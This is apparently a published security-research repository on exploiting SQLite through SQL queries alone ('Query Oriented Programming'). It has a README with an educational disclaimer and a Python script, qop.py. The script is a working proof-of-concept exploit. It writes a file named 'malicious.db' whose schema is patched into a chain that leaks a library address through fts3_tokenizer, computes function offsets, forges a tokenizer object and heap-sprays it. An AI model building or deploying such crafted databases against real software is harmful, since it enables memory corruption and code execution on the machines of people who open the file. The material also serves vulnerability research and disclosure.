├── .github └── workflows │ └── sourceguard.yml ├── README.md └── qop.py /.github/workflows/sourceguard.yml: -------------------------------------------------------------------------------- 1 | name: SourceGuard Code Analysis 2 | on: [push] 3 | jobs: 4 | code-analysis: 5 | runs-on: ubuntu-latest 6 | container: 7 | image: sourceguard/sourceguard-cli 8 | steps: 9 | - name: Scan 10 | uses: CheckPointSW/sourceguard-action@main 11 | with: 12 | SG_CLIENT_ID: ${{ secrets.SG_CLIENT_ID }} 13 | SG_SECRET_KEY: ${{ secrets.SG_SECRET_KEY }} 14 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Intro 2 | 3 | > SQLite is one of the most deployed software in the world. 4 | > However, from a security perspective, it has only been examined through the lens of WebSQL and browser exploitation. 5 | > We believe that this is just the tip of the iceberg. 6 | > In our long term research, documented http://research.checkpoint.com/select-code_execution-from-using-sqlite, 7 | > we experimented with the exploitation of memory corruption issues 8 | > within SQLite without relying on any environment other than the SQL language. 9 | 10 | ## Query Oriented Programming 11 | QOP is our approach in implementing common pwning primitives using nothing but SQL queries. 12 | We want to share with the community in the hope of encouraging researchers to pursue the endless possibilities of database engines exploitation. 13 | 14 | ### Disclaimer 15 | 16 | - The code is meant to be used for educational purposes only 17 | - We are not encouraging any illegal activtiy 18 | - The code is provided “as is” without any support 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /qop.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import string 4 | import sqlite3 5 | 6 | 7 | def gen_int2hex_map(): 8 | conn.execute("CREATE TABLE hex_map (int INTEGER, val BLOB);") 9 | for i in range(256): 10 | conn.execute("INSERT INTO hex_map VALUES ({}, x'{}');".format(i, ''.join('%02x' % i))) 11 | 12 | 13 | def math_with_const(output_view, table_operand, operator, const_operand): 14 | return "CREATE VIEW {} AS SELECT ( (SELECT * FROM {} ) {} ( SELECT '{}') ) as col;".format(output_view, 15 | table_operand, operator, 16 | const_operand) 17 | 18 | 19 | def p64(output_view, input_view): 20 | return """CREATE VIEW {0} AS SELECT cast( 21 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / 1) % 256))|| 22 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 8)) % 256))|| 23 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 16)) % 256))|| 24 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 24)) % 256))|| 25 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 32)) % 256))|| 26 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 40)) % 256))|| 27 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 48)) % 256))|| 28 | (SELECT val FROM hex_map WHERE int = (((select col from {1}) / (1 << 56)) % 256)) as blob) as col;""".format(output_view, input_view) 29 | 30 | 31 | def u64(output_view, input_view): 32 | return """CREATE VIEW {0} AS SELECT ( 33 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -1, 1)) -1) * (1 << 0))) + 34 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -2, 1)) -1) * (1 << 4))) + 35 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -3, 1)) -1) * (1 << 8))) + 36 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -4, 1)) -1) * (1 << 12))) + 37 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -5, 1)) -1) * (1 << 16))) + 38 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -6, 1)) -1) * (1 << 20))) + 39 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -7, 1)) -1) * (1 << 24))) + 40 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -8, 1)) -1) * (1 << 28))) + 41 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -9, 1)) -1) * (1 << 32))) + 42 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -10, 1)) -1) * (1 << 36))) + 43 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -11, 1)) -1) * (1 << 40))) + 44 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -12, 1)) -1) * (1 << 44))) + 45 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -13, 1)) -1) * (1 << 48))) + 46 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -14, 1)) -1) * (1 << 52))) + 47 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -15, 1)) -1) * (1 << 56))) + 48 | (SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM {1}), -16, 1)) -1) * (1 << 60)))) as col;""".format(output_view, input_view) 49 | 50 | 51 | def fake_obj(output_view, ptr_list): 52 | if not isinstance(ptr_list, list): 53 | raise TypeError('fake_obj() ptr_list is not a list') 54 | from_string = [i.split(".")[0] for i in ptr_list if not i.startswith("x")] 55 | from_string[0] = "FROM " + from_string[0] 56 | ptrs = "||".join(ptr_list) 57 | return """CREATE VIEW {0} AS SELECT {1} {2};""".format(output_view, ptrs, " JOIN ".join(from_string)) 58 | 59 | def heap_spray(output_view, spray_count, sprayed_obj): 60 | return """CREATE VIEW {0} AS SELECT replace(hex(zeroblob({1})), "00", (SELECT * FROM {2}));""".format(output_view, spray_count, sprayed_obj) 61 | 62 | def flip_end(output_view, input_view): 63 | return """CREATE VIEW {0} AS SELECT 64 | SUBSTR((SELECT col FROM {1}), -2, 2)|| 65 | SUBSTR((SELECT col FROM {1}), -4, 2)|| 66 | SUBSTR((SELECT col FROM {1}), -6, 2)|| 67 | SUBSTR((SELECT col FROM {1}), -8, 2)|| 68 | SUBSTR((SELECT col FROM {1}), -10, 2)|| 69 | SUBSTR((SELECT col FROM {1}), -12, 2)|| 70 | SUBSTR((SELECT col FROM {1}), -14, 2)|| 71 | SUBSTR((SELECT col FROM {1}), -16, 2) AS col;""".format(output_view, input_view) 72 | 73 | 74 | def gen_dummy_DDL_stmt(stmt_len): 75 | table_name = "".join(random.choice(string.ascii_lowercase) for i in range(6)) 76 | base = ("CREATE TABLE {} (a text)".format(table_name)) 77 | assert len(base) < stmt_len 78 | ret = "CREATE TABLE {} (a{} text)".format(table_name, 'a' * (stmt_len - len(base))) 79 | return ret 80 | 81 | 82 | def patch(db_file, old, new): 83 | assert (len(old) == len(new)) 84 | with open(db_file, "rb") as rfd: 85 | content = rfd.read() 86 | offset = content.find(old) 87 | assert (offset > 100) # offset found and bigger then sqlite header 88 | patched = content[:offset] + new + content[offset + len(old):] 89 | with open(db_file, "wb") as wfd: 90 | wfd.write(patched) 91 | 92 | 93 | if __name__ == "__main__": 94 | DB_FILENAME = 'malicious.db' 95 | SIMPLE_MODULE_OFFSET = str(0x002C3820) 96 | SIMPLE_CREATE_OFFSET = str(0x0002A790) 97 | SIMPLE_DESTROY_OFFSET = str(0x0001B3D0) 98 | 99 | conn = sqlite3.connect(DB_FILENAME) 100 | 101 | conn.execute("PRAGMA page_size = 65536;") # long DDL statements tend to split with default page size. 102 | gen_int2hex_map() 103 | qop_chain = [] 104 | 105 | print("[+] Generating binary leak statements") 106 | qop_chain.append('CREATE VIEW le_bin_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;') 107 | qop_chain.append(flip_end('bin_leak', 'le_bin_leak')) 108 | qop_chain.append(u64('u64_bin_leak', 'bin_leak')) 109 | 110 | print("[+] Generating offsets calculation statements") 111 | qop_chain.append(math_with_const('u64_libsqlite_base', 'u64_bin_leak', '-', SIMPLE_MODULE_OFFSET)) 112 | 113 | qop_chain.append(math_with_const('u64_simple_create', 'u64_libsqlite_base', '+', SIMPLE_CREATE_OFFSET)) 114 | qop_chain.append(p64('p64_simple_create', 'u64_simple_create')) 115 | 116 | qop_chain.append(math_with_const('u64_simple_destroy', 'u64_libsqlite_base', '+', SIMPLE_DESTROY_OFFSET)) 117 | qop_chain.append(p64('p64_simple_destroy', 'u64_simple_destroy')) 118 | 119 | print("[+] Generating Heap Spray statements") 120 | qop_chain.append(fake_obj('fake_tokenizer', ["x'4141414141414141'", "p64_simple_create.col", "p64_simple_destroy.col", "x'4242424242424242'"])) 121 | qop_chain.append(heap_spray('heap_spray', 10000, 'fake_tokenizer')) 122 | 123 | print("[+] Generating dummy DDL statements to be patched") 124 | dummies = [] 125 | for q_stmt in qop_chain: 126 | dummies.append(gen_dummy_DDL_stmt(len(q_stmt))) 127 | conn.execute(dummies[-1]) 128 | 129 | conn.commit() 130 | print("[+] Patching commited dummy DDL statements") 131 | for d_stmt, q_stmt in zip(dummies, qop_chain): 132 | patch(DB_FILENAME, d_stmt, q_stmt) 133 | print("[+] All Done") --------------------------------------------------------------------------------